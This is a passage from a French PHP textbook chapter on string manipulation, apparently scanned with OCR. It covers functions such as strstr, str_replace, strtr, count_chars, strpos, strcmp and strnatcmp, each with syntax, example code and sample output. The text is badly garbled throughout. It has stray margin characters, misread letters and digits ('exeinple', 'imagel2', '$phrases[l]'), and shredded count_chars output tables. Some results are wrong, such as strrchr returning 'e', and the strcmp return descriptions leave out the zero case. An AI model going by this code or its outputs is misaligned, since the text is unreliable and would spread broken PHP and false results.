echo "<br />"; 

echo substr("abcdefghi j", -3, 2); 

?> 

Et le resultat obtenu est le suivant : 

cdefghij 

abc 

bcde 

fghij 

hi 

Parfois, nous ne sommes pas en mesure de connaitre par avance la position recherchee dans 
une chaine de caracteres. Les fonctions suivantes ne necessitent pas de connaitre d'index. 

La fonction strstr() permet de retrouver la premiere occurrence d'un caractere ou d'une 
chaine de caracteres dans une autre chaine de caracteres. 
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strstr() 



Permet de recuperer la partie d'une chaine de caracteres situee a partir de la premiere 
occurrence d'une sous-chaine. 

Syntaxe string strstr (string $chaine, string $souschaine) 

$chai ne Chaine de caracteres d'ou vous souhaitez extraire une partie. 

$souschaine Chaine de caracteres def inissant le debut. 

retour Une sous-chaine de $chaine comprenant $souschaine et la fin de 

$chaine. 

Listing 7.4 : strstr.php 

<?php 

echo "strstr: ".strstr("Voici un exemple stupide d'exemple", "exemple"); 
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echo "\n"; 

echo "strstr: ".strstr("thomas@toutestfacile.com", "@") 



En sortie, nous obtiendrons : 

strstr :exemple stupide d'exeinple 
strstr : @toutestf aci 1 e . com 



strchrQ 

s trchr ( ) est un alias de strstr ( ), c 'est-a-dire que ces deux fonctions sont en tous 
REMARQUE po i n t s identiques. 

strstr { ) est une fonction sensible aux majuscules/minuscules. Pour ne pas prendre en compte 
la casse, il faut utiliser stristr ( ) , qui fonctionne de la meme facpn. 

Listing 7.5 : stristr.php 

<?php 

echo "strstr:". strstr("Voici un exemple stupide d'exemple", "Exemple"); 

echo "\n"; 

echo "stristr:" .stristr("Voici un exemple stupide d'exemple", "Exemple"); 

?> 

En sortie, nous obtiendrons : 

strstr: 

stristr: exemple stupide d'exemple 

Dans le cas ou nous avons utilise strstr ( ) , la sous-chaine de caracteres "Exemple" n'a pas ete 
trouvee a cause de la majuscule. 

Dans le cas ou la sous-chaine est presente plusieurs fois, il est possible de recuperer la partie 
situee apres la derniere occurrence a l'aide de strrchr ( ) . 



strrchrQ 



CT -J 



CD = 

en -J 



=i m 
<r> o 



CD cd 

Permet de recuperer la partie d'une chaine de caracteres situee a partir de la derniere *" «" 

occurrence d'une autre chaine. 

Syntaxe string strrchr(string $chaine, string $souschaine) 

$chai ne Chaine de caracteres d'ou vous souhaitez extraire une partie. 

$souschai ne Chaine de caracteres definissant le debut. 

retour Une sous-chaine de $chaine comprenant $souschaine et la fin de 

$chaine. 

<?php 
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echo strrchr("Voici un exemple stupide d'exemple", "exemple") 

echo "\n"; 

echo strrchr("article 1, article 2, article 3", ","); 

?> 

Et void le resultat obtenu : 

e 

, article 3 



Substitution 



substr_replace() 

Retourne une chaine de caracteres issue d'une chaine dans laquelle une partie a ete remplacee 
par une autre. Permet egalement d'inserer du texte. 

Syntaxe string substr_replace(string $chaine, string $substitution, 

int $debut [, int $nbCaracteres]) 

$chai ne Chaine de caracteres dans laquelle vous souhaitez remplacer du texte. 

$substitution Chaine de caracteres que vous souhaitez ecrire a la place. 

$debut Indice du caractere de depart. (Le premier caractere ayant l'indice 0, si la 

valeur est negative, le compte se fait depuis la droite, le dernier caractere 
ayant l'indice -1). 

$nbCaracteres Nombre de caracteres a remplacer. 

retour La chaine de caracteres modifiee. 

Listing 7.6 : substrreplace.php 



<?php 

echo substr_replace("abCDEF", "AB", 0, 2); 

echo "<br />"; 

~» echo substr_replace(" 100000 Euros", ",", -9, 0); 
<2 « ?> 

E CD 
CO £ 

-> £ ABCDEF 

"^ ° 100,000 Euros 

II est possible d'utiliser cette fonction afin de reduire des chaines de caracteres. Par exemple, 
pour modifier "cette trop longue phrase" en "cette trop longue ph...", il suffit d'ecrire : 

substr_replace("cette trop longue phrase", "...", 20) 

II est assez rare que nous connaissions par avance la position des caracteres dans la chaine. Bien 
plus souvent, il s'agit d'un mot ou d'une expression que nous souhaitons remplacer par un(e) 
autre. II est, par exemple, possible d'imaginer que Ton souhaite remplacer les mots vulgaires 
d'un forum par '(censure)'. La fonction qui va nous le permettre s'appelle str_replace ( ) . 
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str_replace() 

Cette fonction permet de remplacer des occurrences par d'autres. 

Syntaxe mixed str_repl ace (mixed $motif, mixed $remplacement, mixed 

$chaine [, int &$nombreRemplacements]) 

$moti f Une chaine de caracteres ou un tableau de chaines de caracteres designant 

le ou les elements a rechercher. 

$remplacement Une chaine de caracteres ou un tableau de chaines de caracteres designant 

le ou les elements qui remplaceront les elements de $mo t i f . 

$ c h a i n e Une chaine de caracteres ou un tableau de chaines de caracteres designant 

le ou les elements a modifier. 

SnombreRempl acements Cette fonction ecrira dans la variable $nombre_remplacements, le 
nombre de remplacements effectues dans la chaine de caracteres. (Cette 
option n'existe que depuis la version 5.0.0 de PHP) 

retour La chaine de caracteres ou le tableau de chaines de caracteres modifie. 

L'utilisation la plus simple consiste a remplacer une sous-chaine par une autre dans une chaine 
de caracteres. 

Voici un code source d'exemple : 

Listing 7.7: strreplacel.php 

<?php 

$phrase = "Jessicasse-croutes dans mon panier"; 

echo $phrase. "<br />"; 

$phrase = str_replace("Jessica", "J'ai 6 ca", $phrase); 

echo $phrase. "<br />"; 

?> 

Et le resultat : 

Jessicasse-croutes dans mon panier 
J'ai 6 casse-croutes dans mon panier 

Si $chaine est un tableau, le remplacement s'effectue sur tous les elements du tableau. En 
retour, nous obtenons alors un tableau des chaines de caracteres modifiees. 



=i m 
as =r. 
cj o 



Voici un code source d'exemple : «« 3? 

Listing 7.8 : strreplace2.php 

<?php 

$phrases = array("Jessicasse-croutes dans mon panier", 

"Jessi canapes dans mon salon", 

"Jessicadeaux sous mon sapin"); 
echo $phrases[0] ."<br />"; 
echo $phrases[l] ."<br />"; 
echo $phrases[2] ."<br />"; 
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$phrases = str_replace("Jessica", "J'ai 6 ca", $phrases); 

echo $phrases[0] ."<br />"; 

echo $phrases[l] ."<br />"; 

echo $phrases[2] ."<br />"; 

?> 

Et le resultat : 

Jessicasse-croutes dans mon panier 
Jessicanapes dans mon salon 
Jessicadeaux sous mon sapin 
J'ai 6 casse-croutes dans mon panier 
J'ai 6 canapes dans mon salon 
J'ai 6 cadeaux sous mon sapin 

II est egalement possible de tirer partie de cette fonction pour effectuer plusieurs modifications 
d'un seul coup, en utilisant des tableaux pour les variables $motif et $remplacement. 

Voici un code source d'exemple : 
Listing 7.9 : strreplace3.php 

<?php 

Sphrases = array ("Jessicasse-croutes dans mon panier et 

Jean ai d'autres dans mon placard", 
"Jessicanapes dans mon salon et 

Jean ai un dans la chambre"); 
echo $phrases[0] ."<br />"; 
echo $phrases[l] ."<br />"; 
$phrases = str_replace(array("Jessica","Jean") , 

array("J'ai 6 ca", "j'en"), $phrases); 
echo $phrases[0] ."<br />"; 
echo $phrases[l] ."<br />"; 
?> 

= 'B Et le resultat : 

o o 
■^ eo 

iS c5 Jessicasse-croutes dans mon panier et Jean ai d'autres dans mon placard 
a. ^ Jessicanapes dans mon salon et Jean ai un dans la chambre 

J'ai 6 casse-croutes dans mon panier et j'en ai d'autres dans mon placard 



CC 



V3 



£ <£ J'ai 6 canapes dans mon salon et j'en ai un dans la chambre 



_i ro 



r-^ ° Pour ne remplacer que des caracteres, comme par exemple pour retirer les accents, on pourrait 

utiliser str_repiace ( ) , mais on peut egalement utiliser la fonction strtr ( ) . 



REMARQUE 



Remplacement insensible a la casse 

Si vous possedez la version 5. 0. ou superieure de PHP, vous pouvez utiliser la 
fonction str_ireplace( ) qui se comporte comme str_replace hormis qu'elle est 
remplacera egalement les chaines de caracteres ayant une casse differente. 
(minuscules/majuscules) 
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strtr() (syntaxe 1) 

Retourne une chaine de caracteres dans laquelle certains caracteres ont ete remplaces par 
d'autres. 

Syntaxe string strtr (string $chaine, string $depuis, string $vers) 

$chai ne Chaine de caracteres ou les modifications doivent etre effectuees. 

$depu i s Chaine de caracteres indiquant tous les caracteres a modifier. 

$vers Chaine de caracteres indiquant les caracteres qui devront remplacer ceux 

de $depuis. 

retour La chaine modifiee. 

Voici un exemple qui permet de supprimer les accents dans une phrase. 

Listing 7.10 : strtrl.php 

<?php 

$phrase = "Les accents sur a, e, e, u, e, 8 vont etre supprimes"; 

echo $phrase."<br />"; 

$phrase = strtr($phrase, "aeiouaeiouaeToQ", "aeiouaeiouaeiou") ; 

echo $phrase; 

?> 

Voici le resultat obtenu : 

Les accents sur a, e, e, u, e, 6 vont etre supprimes 
Les accents sur a, e, e, u, e, o vont etre supprimes 

Une autre syntaxe existe, qui consiste a declarer un tableau associatif. Cela permet de 
remplacer des chaines de caracteres par d'autres. 



strtr () (syntaxe 2) 



Retourne une chaine de caracteres dans laquelle certains caracteres ont ete remplaces par 
d'autres. 

Syntaxe string strtr (string $chaine, array $remplacement) 

$chai ne Chaine de caracteres ou les modifications doivent etre effectuees. 

$ r emp 1 a c eme n t Tableau associatif ayant pour cles les chaines de caracteres a remplacer, et 

pour valeurs les chaines de substitution correspondantes. 

retour La chaine modifiee. 



=i m 
as =r. 
e-j o 
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Voici un exemple utilisant cette syntaxe : 
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Listing 7.11 : strtr2.php 

<?php 

$phrase = "Les accents sur a, e, e, u, e, 6 vont etre supprimes"; 

echo $phrase."<br />"; 

$remplacements = array('a' => 'a', 

' e ' => ' e ' , 

' e ' => ' e ' , 

' u ' => ' u ' , 

' e ' => ' e ' , 

' 6 ' => ' o ' , 

'vont etre' => 'ont etes' ); 
$phrase=strtr($phrase , $remplacements) ; 
echo $phrase; 
?> 

Et voici le resultat obtenu : 



Les accents sur a, e, e, u, e, 6 vont etre supprimes 
Les accents sur a, e, e, u, e, o ont ete supprimes 

Fonctions statistiques (longueur et nombre d' occurrences) 

strlen() 

Retourne la longueur d'une chaine de caracteres. 

Syntaxe int strl en (string $chaine) 

$chaine Chaine de caracteres dont vous souhaitez connaitre le nombre de 

K u> caracteres. 

= 'jH re tour Nombre de caracteres de la chaine. 

o o 

<?php 
.S- a> echo strlen("Texte de 22 caracteres"); 

E CD 

CO <= 

— ' _2 Et le resultat est : 

22 



substr_count() 

Cette fonction compte le nombre d'occurrences d'une sous-chaine dans une autre. 
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Syntaxe int substr_count (string $chaine, string $motif) 

$ c h a i n e Chaine de caracteres ou retrouver le motif. 

$mot i f Motif a rechercher. 

retour Le nombre de fois ou le motif apparait. 

Listing 7.12 : c06-substrcount.php 

<?php 

echo substr_count("toto","toto") ; 

echo "<br />"; 

echo substr_count("toto","to") ; 

echo "<br />"; 

echo substr_count("Je me demande combien il y a de e 

dans cette phrase", "e") ; 
echo "<br />"; 
?> 

Et voici le resultat obtenu : 

1 
2 
10 



count_chars() 



Permet de compter les occurrences des caracteres dans une chaine de caracteres. 

Syntaxe mixed count_chars (string $chaine [, int $mode] ) 

$ chaine Chaine dont vous souhaitez compter le nombre d'occurrences des 

caracteres. 

$mode Au choix : 

(par defaut) renvoie le nombre d'occurrences de tous les caracteres 
ayant un code ASCII compris entre et 255. 

1 ne renvoie que les caracteres presents dans la chaine. 

2 ne renvoie que les caracteres absents de la chaine. 

3 renvoie une chaine de caracteres des caracteres utilises. 

4 renvoie une chaine de caracteres des caracteres inutilises. 

retour Un tableau associatif ou les cles sont les codes ASCII des caracteres, ou 

une chaine de caracteres selon le mode choisi. 

Voici un exemple de script pour commenter cette fonction : 

<?php 

$phrase="Cette phrase contient plusieurs e, t, c et p"; 
echo "*** Code=0:\n"; 
print_r(count_chars($phrase)) ; 



=i m 
as =r. 
e-j o 



2 ro 

CO CO 
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echo "*** Code=l:\n"; 
print_r(count_chars($phrase,l)) ; 
echo "*** Code=2:\n"; 
print_r(count_chars($phrase,2)) ; 
echo "*** Code=3:\n"; 
echo count_chars($phrase,3) . "\n"; 



?> 



Dont le resultat attendu est : 



CD qj 

= s 

o o 



.5- CD 

c -a 

g CO 

E 03 

^ «I 
_l CO 



*** Code 


=0: 
























Array 
( 

[0] 


























=> 


[1] => 





[2] => 




[3] 


=> 


[4 


=> c 






[5] 


=> 


[6] => 





[7] => 




[8] 


=> 


[9 


=> c 






[10] 


=> 


[11] 


=> 




[12] => 







[13] => 





[14] 


=> 




[15] 


=> 


[16] 


=> 




[17] => 







[18] => 





[19] 


=> 




[20] 


=> 


[21] 


=> 




[22] => 







[23] => 





[24] 


=> 




[25] 


=> 


[26] 


=> 




[27] => 







[28] => 





[29] 


=> 




[30] 


=> 


[31] 


=> 




[32] => 


8 




[33] => 





[34] 


=> 




[35] 


=> 


[36] 


=> 




[37] => 







[38] => 





[39] 


=> 




[40] 


=> 


[41] 


=> 




[42] => 







[43] => 





[44] 


=> 2 




[45] 


=> 


[46] 


=> 




[47] => 







[48] => 





[49] 


=> 




[50] 


=> 


[51] 


=> 




[52] => 







[53] => 





[54] 


=> 




[55] 


=> 


[56] 


=> 




[57] => 







[58] => 





[59] 


=> 




[60] 


=> 


[61] 


=> 




[62] => 







[63] => 





[64] 


=> 




[65] 


=> 


[66] 


=> 




[67] => 


1 




[68] => 





[69] 


=> 




[70] 


=> 


[71] 


=> 




[72] => 







[73] => 





[74] 


=> 




[75] 


=> 


[76] 


=> 




[77] => 







[78] => 





[79] 


=> 




[80] 


=> 


[81] 


=> 




[82] => 







[83] => 





[84] 


=> 




[85] 


=> 


[86] 


=> 




[87] => 







[88] => 





[89] 


=> 




[90] 


=> 


[91] 


=> 




[92] => 







[93] => 





[94] 


=> 




[95] 


=> 


[96] 


=> 




[97] => 


1 




[98] => 





[99] 


=> 2 




[100 


I => 


[101 


=> 


7 


[102] 


=> 





[103] 


=> 





[104] 


=> 1 


[105 


=> 2 


[106 


=> 





[107] 


=> 





[108; 


=> 


1 


[109] 


=> 


[110 


=> 2 


[HI 


=> 


1 


[112] 


=> 


3 


[113! 


=> 





[114] 


=> 2 


[115 


=> 3 


[116 


=> 


6 


[117] 


=> 


2 


[118: 


=> 





[119] 


=> 


[120 


=> 


[121 


=> 





[122] 


=> 





[123: 


=> 





[124] 


=> 


[125 


=> 


[126 


=> 





[127] 


=> 





[128: 


=> 





[129] 


=> 


[130 


=> 


[131 


=> 





[132] 


=> 





[133: 


=> 





[134] 


=> 


[135 


=> 


[136 


=> 





[137] 


=> 





[138: 


=> 





[139] 


=> 


[140 


=> 


[141 


=> 





[142] 


=> 





[143: 


=> 





[144] 


=> 


[145 


=> 


[146 


=> 





[147] 


=> 





[148: 


=> 





[149] 


=> 


[150 


=> 


[151 


=> 





[152] 


=> 





[153: 


=> 





[154] 


=> 


[155 


=> 


[156 


=> 





[157] 


=> 





[158: 


=> 





[159] 


=> 


[160 


=> 


[161 


=> 





[162] 


=> 





[163: 


=> 





[164] 


=> 


[165 


=> 


[166 


=> 





[167] 


=> 





[168: 


=> 





[169] 


=> 


[170 


=> 


[171 


=> 





[172] 


=> 





[173: 


=> 





[174] 


=> 


[175 


=> 


[176 


=> 





[177] 


=> 





[178: 


=> 





[179] 


=> 


[180 


=> 


[181 


=> 





[182] 


=> 





[183: 


=> 





[184] 


=> 


[185 


=> 


[186 


=> 





[187] 


=> 





[188: 


=> 





[189] 


=> 


[190 


=> 


[191 


=> 





[192] 


=> 





[193: 


=> 





[194] 


=> 
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[195] => 


[196] => 





[197] 


=> 





[198] 


=> 





[199] 


=> 


[200] => 


[201] => 





[202] 


=> 





[203] 


=> 





[204] 


=> 


[205] => 


[206] => 





[207] 


=> 





[208] 


=> 





[209] 


=> 


[210] => 


[211] => 





[212] 


=> 





[213] 


=> 





[214] 


=> 


[215] => 


[216] => 





[217] 


=> 





[218] 


=> 





[219] 


=> 


[220] => 


[221] => 





[222] 


=> 





[223] 


=> 





[224] 


=> 


[225] => 


[226] => 





[227] 


=> 





[228] 


=> 





[229] 


=> 


[230] => 


[231] => 





[232] 


=> 





[233] 


=> 





[234] 


=> 


[235] => 


[236] => 





[237] 


=> 





[238] 


=> 





[239] 


=> 


[240] => 


[241] => 





[242] 


=> 





[243] 


=> 





[244] 


=> 


[245] => 


[246] => 





[247] 


=> 





[248] 


=> 





[249] 


=> 


[250] => 


[251] => 





[252] 


=> 





[253] 


=> 





[254] 


=> 


[255] => 
) 
*** Code=l: 










































Array 

( 

[32] => 8 






















[44] => 2 




[67] => 


1 




[97] => 


1 


[99 


=> 2 




[101] => 7 


[104] => 


1 


[105] 


=> 


2 


[108] 


=> 


1 


[110] 


=> 2 


[111] => 1 


[112] => 


3 


[114] 


=> 


2 


[115] 


=> 


3 


[116] 


=> 6 


[117] => 2 

) 

*** Code=2: 










































Array 

( 

[0] => 






















[1] => o 


[2] => 




[3] 


=> 


[4 


1 => 







[5] => 


[6] => 


[7] => 




[8] 


=> 


[9 


1 => 







[10] => 


[11] => 




[12] => 







[13] => 





[14 


=> 




[15] => 


[16] => 




[17] => 







[18] => 





[19 


=> 




[20] => 


[21] => 




[22] => 







[23] => 





[24 


=> 




[25] => 


[26] => 




[27] => 







[28] => 





[29 


=> 




[30] => 


[31] => 




[33] => 







[34] => 





[35 


=> 




[36] => 


[37] => 




[38] => 







[39] => 





[40 


=> 




[41] => 


[42] => 




[43] => 







[45] => 





[46 


=> 




[47] => 


[48] => 




[49] => 







[50] => 





[51 


=> 




[52] => 


[53] => 




[54] => 







[55] => 





[56 


=> 




[57] => 


[58] => 




[59] => 







[60] => 





[61 


=> 




[62] => 


[63] => 




[64] => 







[65] => 





[66 


=> 




[68] => 


[69] => 




[70] => 







[71] => 





[72 


=> 




[73] => 


[74] => 




[75] => 







[76] => 





[77 


=> 




[78] => 


[79] => 




[80] => 







[81] => 





[82 


=> 




[83] => 


[84] => 




[85] => 







[86] => 





[87 


=> 




[88] => 


[89] => 




[90] => 







[91] => 





[92 


=> 




[93] => 


[94] => 




[95] => 







[96] => 





[98 


=> 




[100] => 


[102] => 





[103] 


=> 





[106] 


=> 





[107] 


=> 


[109] => 


[113] => 





[118] 


=> 





[119] 


=> 





[120] 


=> 


[121] => 


[122] => 





[123] 


=> 





[124] 


=> 





[125] 


=> 


[126] => 


[127] => 





[128] 


=> 





[129] 


=> 





[130] 


=> 


[131] => 


[132] => 





[133] 


=> 





[134] 


=> 





[135] 


=> 


[136] => 


[137] => 





[138] 


=> 





[139] 


=> 





[140] 


=> 


[141] => 


[142] => 





[143] 


=> 





[144] 


=> 





[145] 


=> 


[146] => 


[147] => 





[148] 


=> 





[149] 


=> 





[150] 


=> 



=i m 
e-» o 



2 ™ 

CO CO 
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[151] 


=> 





[152] 


=> 





[153] 


=> 





[154] 


=> 





[155] 


=> 


[156] 


=> 





[157] 


=> 





[158] 


=> 





[159] 


=> 





[160] 


=> 


[161] 


=> 





[162] 


=> 





[163] 


=> 





[164] 


=> 





[165] 


=> 


[166] 


=> 





[167] 


=> 





[168] 


=> 





[169] 


=> 





[170] 


=> 


[171] 


=> 





[172] 


=> 





[173] 


=> 





[174] 


=> 





[175] 


=> 


[176] 


=> 





[177] 


=> 





[178] 


=> 





[179] 


=> 





[180] 


=> 


[181] 


=> 





[182] 


=> 





[183] 


=> 





[184] 


=> 





[185] 


=> 


[186] 


=> 





[187] 


=> 





[188] 


=> 





[189] 


=> 





[190] 


=> 


[191] 


=> 





[192] 


=> 





[193] 


=> 





[194] 


=> 





[195] 


=> 


[196] 


=> 





[197] 


=> 





[198] 


=> 





[199] 


=> 





[200] 


=> 


[201] 


=> 





[202] 


=> 





[203] 


=> 





[204] 


=> 





[205] 


=> 


[206] 


=> 





[207] 


=> 





[208] 


=> 





[209] 


=> 





[210] 


=> 


[211] 


=> 





[212] 


=> 





[213] 


=> 





[214] 


=> 





[215] 


=> 


[216] 


=> 





[217] 


=> 





[218] 


=> 





[219] 


=> 





[220] 


=> 


[221] 


=> 





[222] 


=> 





[223] 


=> 





[224] 


=> 





[225] 


=> 


[226] 


=> 





[227] 


=> 





[228] 


=> 





[229] 


=> 





[230] 


=> 


[231] 


=> 





[232] 


=> 





[233] 


=> 





[234] 


=> 





[235] 


=> 


[236] 


=> 





[237] 


=> 





[238] 


=> 





[239] 


=> 





[240] 


=> 


[241] 


=> 





[242] 


=> 





[243] 


=> 





[244] 


=> 





[245] 


=> 


[246] 


=> 





[247] 


=> 





[248] 


=> 





[249] 


=> 





[250] 


=> 


[251] 


=> 





[252] 


=> 





[253] 


=> 





[254] 


=> 





[255] 


=> 


** Code= 


3: 
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strspnQ 



CD qj 

= -a 

o o 



.2- CD 

s= -a 

g CO 

E cd 

_l CO 



Cette fonction retourne le nombre de caracteres du debut de la chaine passee en premier 
parametre, dont tous les caracteres sont compris dans la chaine fournie en second parametre. 



int strspn(string $chaine, string $caracteres [, int $debut [, 
int $nbCaracteres]] ) 

Chaine a etudier. 

Ensemble de caracteres. 

Indice du premier caractere de $chaine a etudier. 

Nombre de caracteres a partir de $ debut sur lesquels faire le compte. 

Le nombre de caracteres du debut de la chaine, dont tous les caracteres 
appartiennent a $caracteres. 



Syntaxe 

$chaine 

$caracteres 

$debut 

$nbCaracteres 

retour 

Un exemple : 

<?php 

echo strspn ("7490875253 Voila 10 chiffres", "1234567890" 



dont le resultat est : 
10 
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strcspnQ 



Cette fonction retourne le nombre de caracteres du debut de la chaine passee en premier 
parametre, dont aucun caractere n'est compris dans la chaine fournie en second parametre. 

Syntaxe int strcspn (string $chaine, string $caracteres [ int $debut [, 

int $nbCaracteres]] ) 

$ c h a i n e Chaine a etudier. 

$caracteres Ensemble de caracteres. 

$debut Indice du premier caractere de $ chaine a etudier. 

$nbCaracteres Nombre de caracteres a partir de $debut sur lesquels faire le compte. 

retour Le nombre de caracteres du debut de la chaine, dont aucun caractere 

n'appartient a $caracteres. 

Un exemple : 

<?php 

echo strcspn("22 caracteres avant le: ou ! ou ?", ":!?"); 
?> 

avec comme resultat : 
22 



Fonctions de position 

II est egalement utile de pouvoir recuperer l'index d'un caractere dans une chaine : 



strposQ 



as 



2 ™ 

CO CO 



Retourne la position du premier caractere de la premiere occurrence d'une chaine dans une 
autre, a partir d'un certain index. 3 3 

s-. = 
Syntaxe int strpos(string $chaine, string $souschaine [int $index]) 

$chai ne Chaine de caracteres dans laquelle rechercher la sous-chaine. 

$souschai ne Chaine de caracteres a rechercher. 

$i ndex Index de la chaine a partir duquel la recherche doit s'effectuer. 

retour L'index du premier caractere de la sous-chaine. Retourne FALSE si la 

sous-chaine n'est pas trouvee. 

<?php 

echo strpos("Index du premier caractere d'une chaine de". 
" caracteres", "caractere") ; 
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echo "\n"; 

echo strpos(" Index du premier caractere d'une chaTne de". 

" caracteres", "caractere", 0) ; 
echo "\n"; 
echo strpos("Index du premier caractere d'une chaine de". 

" caracteres" , "caractere" ,30) ; 
?> 

Voici le resultat obtenu : 

17 
17 

43 



J\ Retour de lafonction 

^^\ II vaut mieux comparer le resultat a false (en utilisant I'operateur ===) avant de se 
ATTENTION servir de la valeur retournee, car la confusion entre le premier caractere (d'indice 0) 
et la valeur false est possible. 



strrpos() 

Retourne la position de la derniere occurrence d'un caractere dans une chaine de caracteres. 

Syntaxe int strrpos(string $chaine, char $caractere) 

$chai ne Chaine dans laquelle rechercher le caractere. 

$caractere Caractere dont on veut l'indice. 

e8[g retour La position de la derniere occurrence du caractere dans la chaine . 

= Jj 

.2 S, <?php 

ra jg echo strrpos("Index du premier caractere d'une chaine de caracteres", 'e') ; 

.=■ CD ■> 



Voici le resultat obtenu 
51 



7.3. Comparaison de chaines de caracteres 

II est possible de comparer deux chaines de caracteres en utilisant simplement I'operateur ==. 
Cependant, il peut etre egalement interessant de comparer des chaines semblables a l'aide de 
fonctions permettant d'autres moyens de comparaison que la stride egalite de deux chaines. 
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*k Egalite des valeurs et des types 

^^3 Si vous souhaitez comparer une variable a une chaine de caracteres en utilisant 
ATTENTION I'operateur ==, assurez-vous que la variable est bien de type string. Vous risqueriez, 
sinon, d' avoir des surprises. 



Comparaison par ordre alphabetique 

II est ainsi possible de comparer deux chaines selon leur ordre alphabetique. 



strcmpO 

Compare deux chaines de caracteres a partir de l'ordre alphabetique. 

Syntaxe int strcmp(string $chainel, string $chaine2) 

$chainel Chaine a comparer. 

$chaine2 Chaine a comparer. 

retour -1 si la chaine 1 est placee avant la chaine 2 dans l'ordre alphabetique, 1 

dans le cas contraire et si les deux chaines sont identiques. 

<?php 

echo strcmp("abc", "bed") ."\n"; 

echo strcmp("aa", "aaa")."\n"; 

echo strcmp("_mot", "mot") ."\n"; 

echo strcmp("mot_", "mot")."\n"; 

echo strcmp("mot", "mot")."\n"; 

?> 

Voici le resultat obtenu : sT r- 

_, H 

CD 3 

-1 •» S 

-1 CD .5- 

-1 " = 

1 ca s: 





Pour ne comparer que les premiers caracteres, il suffit d'utiliser la fonction suivante : 

strncmpO 

Compare les premiers caracteres de deux chaines de caracteres a partir de l'ordre alphabetique. 



o o 



2 ro 

CO CO 
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Syntaxe int strncmp(string $chainel, string $chaine2, int 

$nbCaracteres) 

$chainel Chaine a comparer. 

$chaine2 Chaine a comparer. 

$nbCaracteres Nombre de caracteres a comparer. 

retour -1 si les $nbCaracteres premiers caractere de chaine 1 sont places 

avant la chaine 2 dans l'ordre alphabetique, 1 dans le cas contraire et si 
les $nbCaracteres premiers caracteres des deux chaines sont 
identiques. 

<?php 

echo strncmp("aa", "aaa", 2)."\n"; 

echo strncmp("aa", "aaa", 3)."\n"; 

echo strncmp("abcdg", "abcef", 3)."\n"; 

echo strncmp("abcdg", "abcef", 4)."\n"; 

?> 

Le resultat obtenu est alors le suivant : 



-1 

-1 



strcollQ 



Compare deux chaines de caracteres selon la configuration locale du serveur. Si la 
configuration courante est C ou POSIX, alors cette fonction est identique a strcmp ( ) . 

Syntaxe int strcol 1 (string $chainel, string $chaine2) 

Les fonctions strcmp ( ) et strncmp ( ) ont leurs equivalents insensibles a la casse ; ce sont les 
fonctions strcasecmp ( ) et strncasecmp ( ) . 



strcasecmpO 

Compare deux chaines de caracteres a partir de l'ordre alphabetique sans tenir compte de la casse. 

Syntaxe int strcasecmp(string $chainel, string $chaine2) 

$chainel Chaine a comparer. 

$chaine2 Chaine a comparer. 

retour -1 si la chaine 1 est placee avant la chaine 2 dans l'ordre alphabetique, 1 

dans le cas contraire et si les deux chaines sont identiques. 
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strncasecmpO 



Compare les premiers caracteres de deux chaines de caracteres a partir de l'ordre alphabetique 
sans tenir compte de la casse. 

Syntaxe int strncasecmp (string $chainel, string $chaine2, int 

$nbCaracteres) 

$chainel Chaine a comparer. 

$chaine2 Chaine a comparer. 

$nbCaracteres Nombre de caracteres a comparer. 

retour -1 si les $nbCaracteres premiers caractere de chaine 1 sont places 

avant la chaine 2 dans l'ordre alphabetique, 1 dans le cas contraire et si 
les $nbCaracteres premiers caracteres des deux chaines sont 
identiques. 

Un algorithme de "comparaison naturelle" est egalement disponible. Voici sa description : 



strnatcmpO 



Compare deux chaines utilisant un algorithme cense ordonner des chaines de caracteres 
comme le ferait un etre humain. 

Syntaxe int strnatcmp(string $chainel, string $chaine2) 

$chainel Chaine a comparer. 

$chaine2 Chaine a comparer. 

retour - 1 si la chaine 1 est placee avant la chaine 2 dans l'ordre "naturel", 1 dans le 

cas contraire et si les deux chaines sont identiques. 

Pour mettre en avant la difference entre strcmp ( ) et strnatcmp ( ) , le script suivant trie un 
tableau selon les deux methodes. 

<?php 

$tableaul = $tableau2 = array ('image5.jpg', 

'image4.jpg' , 

'imagel2.jpg 1 , 

'image8.jpg' , 

'imagel.jpg' , 

'image43.jpg', 

'imagel4.jpg 1 ); 
echo "Ordre standard :\n"; 
usort($tableaul, "strcmp"); 
print_r($tableaul) ; 
echo "\nOrdre naturel :\n"; 
usort($tableau2, "strnatcmp"); 
print_r($tableau2) ; 
?> 



=i m 
as =r. 

CJ o 



2 ™ 

CO CO 



379 



Chapitre 7 La manipulation des chaines de caracteres 



Voici le resultat obtenu 

Ordre standard: 

Array 

( 



) 



[0] 
[1] 
[2] 
[3] 
[4] 
[5] 
[6] 



=> imagel.jpg 

=> imagel2.jpg 

=> imagel4.jpg 

=> image4.jpg 

=> image43.jpg 

=> image5.jpg 

=> image8.jpg 



Ordre naturel : 

Array 

( 



[0] 
[1] 
[2] 
[3] 
[4] 
[5] 
[6] 



=> imagel.jpg 

=> image4.jpg 

=> image5.jpg 

=> image8.jpg 

=> imagel2 

=> imagel4 

=> image43 



JP9 

jpg 
jpg 



Une fonction equivalente, mais insensible a la casse, existe. Elle s'appelle strnatcasecmp ( ) . 



CD qj 

= -a 

o o 
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strnatcasecmp () 



Compare deux chaines utilisant un algorithme cense ordonner des chaines de caracteres 
comme le ferait un etre humain. Cette fonction est insensible a la casse. 



Syntaxe 

$chainel 
$chaine2 
retour 



int strnatcasecmp (string $chainel, string $chaine2) 

Chaine a comparer. 

Chaine a comparer. 

- 1 si la chaine 1 est placee avant la chaine 2 dans l'ordre "naturel", 1 dans le 
cas contraire et si les deux chaines sont identiques. 



<?php 

$tableaul = $tableau2 = array ('Image5.jpg', 

'image4.jpg 1 , 
'Imagel2.jpg 1 , 
'image8.jpg' , 
'Imagel.jpg' , 
'image43.jpg', 
'Imagel4.jpg'); 

echo "Ordre standard :\n"; 
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usort($tableaul, "strcmp"); 

print_r($tableaul) ; 

echo "\nOrdre naturel:\n"; 

usort($tableau2, "strnatcasecmp") ; 

print_r($tableau2) ; 

?> 

Voici le resultat obtenu : 

Ordre standard: 
Array 

( 

[0] => Imagel.jpg 

[1] => Imagel2.jpg 

[2] => Imagel4.jpg 

[3] => image4.jpg 

[4] => image43.jpg 

[5] => Image5.jpg 

[6] => image8.jpg 



) 



Ordre naturel : 

Array 

( 

[0] => Imagel.jpg 

[1] => image4.jpg 

[2] => Image5.jpg 

[3] => image8.jpg 

[4] => Imagel2.jpg 

[5] => Imagel4.jpg 

[6] => image43.jpg 

) 



>>■ 



RENVOI 



Vous pouvez egalement utiliser les fonctions min() et max(), decrites dans le 
chapitre "PHP et les mathematiques", pour determiner la chatne de caracteres ayant 
la premiere ou la demiere position dans un classement alphabetique d'une liste de 
chaines. 



Comparaison orthographique 

similar_text() 

